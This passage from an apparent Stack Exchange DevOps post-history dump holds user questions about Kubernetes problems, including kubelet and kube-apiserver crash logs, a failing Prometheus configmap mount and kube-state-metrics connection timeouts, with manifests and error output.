Failed to list *v1.Pod: Get https://192.168.10.141:6443/api/v1/pods?fieldSelector=spec.nodeName%3Dptseclsbtmtn01&amp;limit=500&amp;resourceVersion=0: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.000604   13236 event.go:249] Unable to write event: 'Patch https://192.168.10.141:6443/api/v1/namespaces/default/events/ptseclsbtmtn01.16815cf02ebc80c8: dial tcp 192.168.10.141:6443: connect: connection refused' (may retry after sleeping)&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.002969   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.103109   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.176447   13236 reflector.go:125] k8s.io/kubernetes/pkg/kubele /kubelet.go:453: Failed to list *v1.Node: Get https://192.168.10.141:6443/api/v1/nodes?fieldSelector=metadata.name%3Dptseclsbtmtn01&amp;limit=500&amp;resourceVersion=0: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.203248   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;&#xD;&#xA;the k8s cluster that i monitoring got problem when update VM host. At first i got connection refused on xxxxxx:6443 when i try to kubectl get no. Then i check kubelet log by journalctl -xeu kubelet and found somethings about kube-api-server as below.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    May 22 17:21:49 PTSECLSBTMTN01 kubelet[1380]: E0522 17:21:49.865033    &#xD;&#xA;    1380 pod_workers.go:190] Error syncing pod 8e69cdda6604db7332bee762f1e1ad6d (&quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;), &#xD;&#xA;    skipping: failed to &quot;StartContainer&quot; for &quot;kube-apiserver&quot; with CrashLoopBackOff: &quot;Back-off 10s restarting failed container=kube-apiserver pod=kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;&#xD;&#xA;    May 22 17:21:50 PTSECLSBTMTN01 kubelet[1380]: W0522 17:21:50.051725    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;    May 22 17:21:51 PTSECLSBTMTN01 kubelet[1380]: W0522 17:21:51.112074    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;    May 22 17:21:51 PTSECLSBTMTN01 kubelet[1380]: E0522 17:21:51.112117    &#xD;&#xA;    1380 pod_workers.go:190] Error syncing pod 8e69cdda6604db7332bee762f1e1ad6d (&quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;), &#xD;&#xA;    skipping: failed to &quot;StartContainer&quot; for &quot;kube-apiserver&quot; with CrashLoopBackOff: &quot;Back-off 10s restarting failed container=kube-apiserver pod=kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;&#xD;&#xA;    May 22 17:22:16 PTSECLSBTMTN01 kubelet[1380]: W0522 17:22:16.921490    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: net/http: TLS handshake timeout&#xD;&#xA;    &#xD;&#xA;    May 22 17:22:28 PTSECLSBTMTN01 kubelet[1380]: E0522 17:22:28.051655    &#xD;&#xA;    1380 pod_workers.go:190] Error syncing pod 8e69cdda6604db7332bee762f1e1ad6d (&quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;), &#xD;&#xA;    skipping: failed to &quot;StartContainer&quot; for &quot;kube-apiserver&quot; with CrashLoopBackOff: &quot;Back-off 20s restarting failed container=kube-apiserver pod=kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;&#xD;&#xA;    May 22 17:22:28 PTSECLSBTMTN01 kubelet[1380]: W0522 17:22:28.052034    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;    May 22 17:22:31 PTSECLSBTMTN01 kubelet[1380]: E0522 17:22:31.112396  &#xD;&#xA;&#xD;&#xA;Try docker logs kube-apiserver but got nothing showup. How i can investigate this issue further or anyway to get the reason why container is failed.&#xD;&#xA;&#xD;&#xA;Thank you for you help." ContentLicense="CC BY-SA 4.0" />
  <row Id="43945" PostHistoryTypeId="1" PostId="13967" RevisionGUID="1878b890-3675-40dc-8922-2302a716c190" CreationDate="2021-05-22T12:38:37.897" UserId="27824" Text="kube-apiserver container failed to start after upgrade vm" ContentLicense="CC BY-SA 4.0" />
  <row Id="43946" PostHistoryTypeId="3" PostId="13967" RevisionGUID="1878b890-3675-40dc-8922-2302a716c190" CreationDate="2021-05-22T12:38:37.897" UserId="27824" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43947" PostHistoryTypeId="5" PostId="13967" RevisionGUID="b474f2af-8ef3-4785-bc6b-a9796a27e3df" CreationDate="2021-05-22T15:58:42.347" UserId="40" Comment="deleted 22 characters in body" Text="The k8s cluster that I monitor got a problem when update VM host.&#xD;&#xA;&#xD;&#xA;At first I got connection refused on xxxxxx:6443 when I try to kubectl get no.&#xD;&#xA;Then I check kubelet log by journalctl -xeu kubelet and found somethings about kube-api-server as below.&#xD;&#xA;&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.776568   13236 reflector.go:125] k8s.io/client-go/informers/factory.go:133: Failed to list *v1beta1.CSIDriver: Get https://192.168.10.141:6443/apis/storage.k8s.io/v1beta1/csidrivers?limit=500&amp;resourceVersion=0: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.802722   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.902857   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.976556   13236 reflector.go:125] k8s.io/kubernetes/pkg/kubele /config/apiserver.go:47: Failed to list *v1.Pod: Get https://192.168.10.141:6443/api/v1/pods?fieldSelector=spec.nodeName%3Dptseclsbtmtn01&amp;limit=500&amp;resourceVersion=0: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.000604   13236 event.go:249] Unable to write event: 'Patch https://192.168.10.141:6443/api/v1/namespaces/default/events/ptseclsbtmtn01.16815cf02ebc80c8: dial tcp 192.168.10.141:6443: connect: connection refused' (may retry after sleeping)&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.002969   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.103109   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.176447   13236 reflector.go:125] k8s.io/kubernetes/pkg/kubele /kubelet.go:453: Failed to list *v1.Node: Get https://192.168.10.141:6443/api/v1/nodes?fieldSelector=metadata.name%3Dptseclsbtmtn01&amp;limit=500&amp;resourceVersion=0: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;        May 22 18:03:17 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:17.203248   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;&#xD;&#xA;the k8s cluster that i monitoring got problem when update VM host. At first i got connection refused on xxxxxx:6443 when i try to kubectl get no. Then i check kubelet log by journalctl -xeu kubelet and found somethings about kube-api-server as below.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    May 22 17:21:49 PTSECLSBTMTN01 kubelet[1380]: E0522 17:21:49.865033    &#xD;&#xA;    1380 pod_workers.go:190] Error syncing pod 8e69cdda6604db7332bee762f1e1ad6d (&quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;), &#xD;&#xA;    skipping: failed to &quot;StartContainer&quot; for &quot;kube-apiserver&quot; with CrashLoopBackOff: &quot;Back-off 10s restarting failed container=kube-apiserver pod=kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;&#xD;&#xA;    May 22 17:21:50 PTSECLSBTMTN01 kubelet[1380]: W0522 17:21:50.051725    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;    May 22 17:21:51 PTSECLSBTMTN01 kubelet[1380]: W0522 17:21:51.112074    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;    May 22 17:21:51 PTSECLSBTMTN01 kubelet[1380]: E0522 17:21:51.112117    &#xD;&#xA;    1380 pod_workers.go:190] Error syncing pod 8e69cdda6604db7332bee762f1e1ad6d (&quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;), &#xD;&#xA;    skipping: failed to &quot;StartContainer&quot; for &quot;kube-apiserver&quot; with CrashLoopBackOff: &quot;Back-off 10s restarting failed container=kube-apiserver pod=kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;&#xD;&#xA;    May 22 17:22:16 PTSECLSBTMTN01 kubelet[1380]: W0522 17:22:16.921490    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: net/http: TLS handshake timeout&#xD;&#xA;    &#xD;&#xA;    May 22 17:22:28 PTSECLSBTMTN01 kubelet[1380]: E0522 17:22:28.051655    &#xD;&#xA;    1380 pod_workers.go:190] Error syncing pod 8e69cdda6604db7332bee762f1e1ad6d (&quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;), &#xD;&#xA;    skipping: failed to &quot;StartContainer&quot; for &quot;kube-apiserver&quot; with CrashLoopBackOff: &quot;Back-off 20s restarting failed container=kube-apiserver pod=kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;&#xD;&#xA;    May 22 17:22:28 PTSECLSBTMTN01 kubelet[1380]: W0522 17:22:28.052034    &#xD;&#xA;    1380 status_manager.go:485] Failed to get status for pod &quot;kube-apiserver-ptseclsbtmtn01_kube-system(8e69cdda6604db7332bee762f1e1ad6d)&quot;: &#xD;&#xA;    Get https://192.168.10.141:6443/api/v1/namespaces/kube-system/pods/kube-apiserver-ptseclsbtmtn01: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;    May 22 17:22:31 PTSECLSBTMTN01 kubelet[1380]: E0522 17:22:31.112396  &#xD;&#xA;&#xD;&#xA;Try docker logs kube-apiserver but got nothing showup. How i can investigate this issue further or anyway to get the reason why container is failed.&#xD;&#xA;&#xD;&#xA;Any help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43949" PostHistoryTypeId="2" PostId="13968" RevisionGUID="8638d8e3-e3e1-4c71-adad-9e44b61419dc" CreationDate="2021-05-23T07:31:18.277" UserId="17846" Text="I wanted to get some advice on how to trace log documents being processed in various stages.&#xD;&#xA;e.g. file-&gt;logstash-&gt;kafka-&gt;logstash -&gt; elasticsearch&#xD;&#xA;&#xD;&#xA;The information I want to get is whether a document has reached a stage, and how long it took&#xD;&#xA;&#xD;&#xA;I was wondering if there are existing market solutions&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43950" PostHistoryTypeId="1" PostId="13968" RevisionGUID="8638d8e3-e3e1-4c71-adad-9e44b61419dc" CreationDate="2021-05-23T07:31:18.277" UserId="17846" Text="How to trace logs in pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43951" PostHistoryTypeId="3" PostId="13968" RevisionGUID="8638d8e3-e3e1-4c71-adad-9e44b61419dc" CreationDate="2021-05-23T07:31:18.277" UserId="17846" Text="&lt;logging&gt;&lt;tracing&gt;&lt;observability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43952" PostHistoryTypeId="2" PostId="13969" RevisionGUID="88ddbaed-e562-4852-99f5-dfeed48e37f8" CreationDate="2021-05-23T09:35:05.543" UserId="27835" Text="I am learning about using Machine Learning for provisioning proactive resources on the Kubernetes and I have found some of the interesting articles about it on the internet(for instance for Thoth or Microscaler). I have also read about predictive autoscaling in AWS and GCP however only for VM's, not to use in the K8s clusters.&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/autoscaling/plans/userguide/how-it-works.html&#xD;&#xA;https://cloud.google.com/compute/docs/autoscaler/predictive-autoscaling#how_predictive_autoscaling_works&#xD;&#xA;&#xD;&#xA;However I would like to understand more in-depth about the above solutions - how do they work internally and what is the possibility of moving that solutions to the K8s. Do You know where can I find informations about it? Or if that is even possible to find those information or they are hidden internally in those companies? Do You have any other scientific articles or solutions which are now available?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="43953" PostHistoryTypeId="1" PostId="13969" RevisionGUID="88ddbaed-e562-4852-99f5-dfeed48e37f8" CreationDate="2021-05-23T09:35:05.543" UserId="27835" Text="Predictive autoscaling on K8s" ContentLicense="CC BY-SA 4.0" />
  <row Id="43954" PostHistoryTypeId="3" PostId="13969" RevisionGUID="88ddbaed-e562-4852-99f5-dfeed48e37f8" CreationDate="2021-05-23T09:35:05.543" UserId="27835" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43955" PostHistoryTypeId="2" PostId="13970" RevisionGUID="94a29b1c-0789-49f8-bfa9-5c671f97b270" CreationDate="2021-05-23T10:41:14.590" UserId="27826" Text="I have this prometheus deployment manifest file: to create prometheus deployment&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: prometheus&#xD;&#xA;      namespace: monitoring&#xD;&#xA;      labels:&#xD;&#xA;        app: prometheus&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      strategy:&#xD;&#xA;        rollingUpdate:&#xD;&#xA;          maxSurge: 1&#xD;&#xA;          maxUnavailable: 1&#xD;&#xA;        type: RollingUpdate&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: prometheus&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: prometheus&#xD;&#xA;          annotations:&#xD;&#xA;            prometheus.io/scrape: &quot;true&quot;&#xD;&#xA;            prometheus.io/port: &quot;9090&quot;&#xD;&#xA;        spec:&#xD;&#xA;          nodeSelector:&#xD;&#xA;            boardType: aarch64&#xD;&#xA;          initContainers:&#xD;&#xA;          - name: prometheus-data-permission-setup&#xD;&#xA;            image: busybox&#xD;&#xA;            command: [&quot;/bin/chmod&quot;,&quot;-R&quot;,&quot;777&quot;, &quot;/data&quot;]&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - name: prometheus-data&#xD;&#xA;              mountPath: /data&#xD;&#xA;          containers:&#xD;&#xA;          - name: prometheus&#xD;&#xA;            image: rycus86/prometheus:latest&#xD;&#xA;            imagePullPolicy: IfNotPresent&#xD;&#xA;            args:&#xD;&#xA;              - '--storage.tsdb.path=/data'&#xD;&#xA;              - '--config.file=/etc/prometheus/prometheus.yml'&#xD;&#xA;            command:&#xD;&#xA;            - /bin/prometheus&#xD;&#xA;            ports:&#xD;&#xA;            - name: web&#xD;&#xA;              containerPort: 9090&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - name: config-volume&#xD;&#xA;              mountPath: /etc/prometheus/prometheus.yml&#xD;&#xA;              subPath: prometheus.yml&#xD;&#xA;            - name: prometheus-data&#xD;&#xA;              mountPath: /data&#xD;&#xA;              readOnly: false&#xD;&#xA;            resources:&#xD;&#xA;              requests:&#xD;&#xA;                cpu: &quot;250m&quot;&#xD;&#xA;                ephemeral-storage: &quot;4Gi&quot;&#xD;&#xA;              limits:&#xD;&#xA;                memory: &quot;200Mi&quot;&#xD;&#xA;                cpu: &quot;500m&quot;&#xD;&#xA;                ephemeral-storage: &quot;20Gi&quot;&#xD;&#xA;          restartPolicy: Always&#xD;&#xA;          securityContext: {}&#xD;&#xA;          terminationGracePeriodSeconds: 30&#xD;&#xA;          volumes:&#xD;&#xA;          - name: config-volume&#xD;&#xA;            configMap:&#xD;&#xA;              name: prometheus-config&#xD;&#xA;          - name: prometheus-data&#xD;&#xA;            hostPath:&#xD;&#xA;              path: /data&#xD;&#xA;              type: Directory&#xD;&#xA;          serviceAccountName: prometheus&#xD;&#xA;&#xD;&#xA;but this error that &quot;trying to mount a directory onto a file &quot;&#xD;&#xA;&#xD;&#xA;    Events:&#xD;&#xA;      Type     Reason     Age               From               Message&#xD;&#xA;      ----     ------     ----              ----               -------&#xD;&#xA;      Normal   Scheduled  30s               default-scheduler  Successfully assigned monitoring/prometheus-b568c9967-tmdq7 to rockpro64&#xD;&#xA;      Normal   Pulling    28s               kubelet            Pulling image &quot;busybox&quot;&#xD;&#xA;      Normal   Pulled     26s               kubelet            Successfully pulled image &quot;busybox&quot; in 1.57966103s&#xD;&#xA;      Normal   Created    26s               kubelet            Created container prometheus-data-permission-setup&#xD;&#xA;      Normal   Started    25s               kubelet            Started container prometheus-data-permission-setup&#xD;&#xA;      Warning  Failed     23s               kubelet            Error: failed to start container &quot;prometheus&quot;: Error response from daemon: OCI runtime create failed: container_linux.go:349: starting container process caused &quot;process_linux.go:449: container init caused \&quot;rootfs_linux.go:58: mounting \\\&quot;/var/lib/kubelet/pods/da8d1a99-a6d0-48f5-ad5e-cbc5db136145/volume-subpaths/config-volume/prometheus/0\\\&quot; to rootfs \\\&quot;/var/lib/docker/overlay2/32aead2ba4f70863e9cf643a1bad1fb0832eb43c217898bfe77cc67ab400d702/merged\\\&quot; at \\\&quot;/var/lib/docker/overlay2/32aead2ba4f70863e9cf643a1bad1fb0832eb43c217898bfe77cc67ab400d702/merged/etc/prometheus/prometheus.yml\\\&quot; caused \\\&quot;not a directory\\\&quot;\&quot;&quot;: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type&#xD;&#xA;      Warning  Failed     23s               kubelet            Error: failed to start container &quot;prometheus&quot;: Error response from daemon: OCI runtime create failed: container_linux.go:349: starting container process caused &quot;process_linux.go:449: container init caused \&quot;rootfs_linux.go:58: mounting \\\&quot;/var/lib/kubelet/pods/da8d1a99-a6d0-48f5-ad5e-cbc5db136145/volume-subpaths/config-volume/prometheus/0\\\&quot; to rootfs \\\&quot;/var/lib/docker/overlay2/9dcb8fa640d8fc93f56755f5daeb2a350c482f5f3f26faee03edb320d52f53ff/merged\\\&quot; at \\\&quot;/var/lib/docker/overlay2/9dcb8fa640d8fc93f56755f5daeb2a350c482f5f3f26faee03edb320d52f53ff/merged/etc/prometheus/prometheus.yml\\\&quot; caused \\\&quot;not a directory\\\&quot;\&quot;&quot;: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type&#xD;&#xA;      Warning  BackOff    22s               kubelet            Back-off restarting failed container&#xD;&#xA;      Normal   Pulled     7s (x3 over 24s)  kubelet            Container image &quot;rycus86/prometheus:latest&quot; already present on machine&#xD;&#xA;      Normal   Created    7s (x3 over 24s)  kubelet            Created container prometheus&#xD;&#xA;      Warning  Failed     6s                kubelet            Error: failed to start container &quot;prometheus&quot;: Error response from daemon: OCI runtime create failed: container_linux.go:349: starting container process caused &quot;process_linux.go:449: container init caused \&quot;rootfs_linux.go:58: mounting \\\&quot;/var/lib/kubelet/pods/da8d1a99-a6d0-48f5-ad5e-cbc5db136145/volume-subpaths/config-volume/prometheus/0\\\&quot; to rootfs \\\&quot;/var/lib/docker/overlay2/5b263ca359000d143fd5f11fb26218ead46eabd1a1aeb39ce1a7b48302a2382c/merged\\\&quot; at \\\&quot;/var/lib/docker/overlay2/5b263ca359000d143fd5f11fb26218ead46eabd1a1aeb39ce1a7b48302a2382c/merged/etc/prometheus/prometheus.yml\\\&quot; caused \\\&quot;not a directory\\\&quot;\&quot;&quot;: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type&#xD;&#xA;&#xD;&#xA;I have prometheus-config configmap already setup.   &#xD;&#xA;&#xD;&#xA;    # kubectl get cm -n monitoring&#xD;&#xA;    NAME                DATA   AGE&#xD;&#xA;    kube-root-ca.crt    1      35h&#xD;&#xA;    prometheus-config   1      41m&#xD;&#xA;&#xD;&#xA;what might have gone wrong ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43956" PostHistoryTypeId="1" PostId="13970" RevisionGUID="94a29b1c-0789-49f8-bfa9-5c671f97b270" CreationDate="2021-05-23T10:41:14.590" UserId="27826" Text="Why am I getting error trying to mount a directory onto a file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43957" PostHistoryTypeId="3" PostId="13970" RevisionGUID="94a29b1c-0789-49f8-bfa9-5c671f97b270" CreationDate="2021-05-23T10:41:14.590" UserId="27826" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43958" PostHistoryTypeId="2" PostId="13971" RevisionGUID="4ed6d043-af42-4728-b868-760948db0f95" CreationDate="2021-05-23T10:50:28.637" UserId="27836" Text="I am into software development, and I am learning dev ops. So I am little bit confused about what goes behind the scenes when we load and interact with a web application in the browser **in local vs a deployed application.**&#xD;&#xA;&#xD;&#xA;So, here is my understanding on what happens in production environment after we deploy our client app and server app.&#xD;&#xA;&#xD;&#xA;What I understand is, there are two parts- **client app and server app.** &#xD;&#xA;&#xD;&#xA; 1. Client pp is just static files placed somewhere the web&#xD;&#xA;    server(Nginx) can locate.&#xD;&#xA; 2. And our application server is running on some host (Cloud). &#xD;&#xA;&#xD;&#xA;When user makes a request to load static data , the browser makes a request to `nginx` and `nginx` returns back with our react app. We can use docker to run the client app and sever app in separate containers as well.&#xD;&#xA;  &#xD;&#xA;**Now, on subsequent requests while interacting with the `react app`**, &#xD;&#xA;*if user clicks a button that should show some products(lets imagine this functionality) , our react app will make a request with the help of browser to a specific endpoint, say /api/products, now this is goes to `nginx`, which in turns calls our application server and gives back the data to the browser, which parses it and our react app renders it.*&#xD;&#xA;&#xD;&#xA;Questions-&#xD;&#xA;1. Is my understanding correct?&#xD;&#xA;2. How does the web server locate our application servers? Is it through the network request that was made when interacting with the client app and some config in the `nginx` server?&#xD;&#xA;We have the api calls in the frontend- like `/api/products` - that transforms to `https://www.mywebsite.com/api/products`. So our backend service(application service is hosted on `www.mywebsite.com`. **What about the ports here?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43959" PostHistoryTypeId="1" PostId="13971" RevisionGUID="4ed6d043-af42-4728-b868-760948db0f95" CreationDate="2021-05-23T10:50:28.637" UserId="27836" Text="Need more clarity on how a web application is served in local vs in production?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43960" PostHistoryTypeId="3" PostId="13971" RevisionGUID="4ed6d043-af42-4728-b868-760948db0f95" CreationDate="2021-05-23T10:50:28.637" UserId="27836" Text="&lt;docker&gt;&lt;deployment&gt;&lt;nginx&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43961" PostHistoryTypeId="2" PostId="13972" RevisionGUID="1ce40d3d-2586-4aa3-a827-8605c4b9612f" CreationDate="2021-05-23T11:37:08.413" UserId="27826" Text="I am getting error:&#xD;&#xA;&#xD;&#xA;    # kubectl logs  kube-state-metrics-fdc49658-g98sl -n monitoring&#xD;&#xA;    I0523 11:30:25.206556       1 main.go:86] Using default collectors&#xD;&#xA;    I0523 11:30:25.206766       1 main.go:98] Using all namespace&#xD;&#xA;    I0523 11:30:25.206800       1 main.go:139] metric white-blacklisting: blacklisting the following items: &#xD;&#xA;    W0523 11:30:25.206886       1 client_config.go:543] Neither --kubeconfig nor --master was specified.  Using the inClusterConfig.  This might not work.&#xD;&#xA;    I0523 11:30:25.216265       1 main.go:184] Testing communication with server&#xD;&#xA;    F0523 11:30:55.217773       1 main.go:147] Failed to create client: error while trying to communicate with apiserver: Get &quot;https://10.96.0.1:443/version?timeout=32s&quot;: dial tcp 10.96.0.1:443: i/o timeout&#xD;&#xA;&#xD;&#xA;Here is the manifest for Kube-state-metrics:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: kube-state-metrics&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: kube-state-metrics&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: kube-state-metrics&#xD;&#xA;        spec:&#xD;&#xA;          nodeSelector:&#xD;&#xA;            boardType: aarch64&#xD;&#xA;          serviceAccountName: prometheus&#xD;&#xA;          containers:&#xD;&#xA;          - name: kube-state-metrics&#xD;&#xA;            image: carlosedp/kube-state-metrics:v1.9.6&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 8080&#xD;&#xA;              name: monitoring&#xD;&#xA;    ---&#xD;&#xA;    kind: Service&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: kube-state-metrics&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        app: kube-state-metrics&#xD;&#xA;      type: LoadBalancer&#xD;&#xA;      ports:&#xD;&#xA;      - protocol: TCP&#xD;&#xA;        port: 8080&#xD;&#xA;        targetPort: 8080" ContentLicense="CC BY-SA 4.0" />
  <row Id="43962" PostHistoryTypeId="1" PostId="13972" RevisionGUID="1ce40d3d-2586-4aa3-a827-8605c4b9612f" CreationDate="2021-05-23T11:37:08.413" UserId="27826" Text="Getting error while trying to communicate with apiserver in kube-state-metrics pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="43963" PostHistoryTypeId="3" PostId="13972" RevisionGUID="1ce40d3d-2586-4aa3-a827-8605c4b9612f" CreationDate="2021-05-23T11:37:08.413" UserId="27826" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;metrics&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43964" PostHistoryTypeId="10" PostId="13971" RevisionGUID="e410ea26-4592-4658-9d0b-8626c8659ba6" CreationDate="2021-05-23T11:50:23.460" UserId="40" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
